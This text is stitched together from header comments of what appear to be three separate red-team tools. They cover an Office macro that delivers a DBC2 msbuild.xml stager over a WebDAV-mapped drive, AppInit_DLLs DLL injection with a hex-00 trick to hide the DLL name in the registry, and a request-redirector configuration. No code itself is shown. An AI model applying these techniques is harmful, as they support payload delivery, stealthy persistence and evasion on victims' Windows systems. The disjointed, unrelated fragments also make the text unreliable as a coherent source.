Office macro using WedDav mapping to deliver payload
'
' Example of DBC2 msbuild.xml stager delivery through a webdav maping
' The stager file (msbuild.xml) can be generated from the DBC2 controller
'
' NOTE:
' msbuild.exe is supposed to accept a path straight from a webdav server (ex: msbuild.exe \\webdav_server\msbuild.xml)
' but it fails miserably for me, so I have to have to first map the drive...

AppInit_DLLs injection
// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll
//
// This DLL can only be injected in a x64 process
//
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll)
// by using the AppInit_DLLs capability:
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required)
// One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name

FYI THIS IS NO LONGER AN .HTACCESS FILE. SEE COMMENTS BELOW. DON'T WORRY, IT'S STILL EASY.

# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
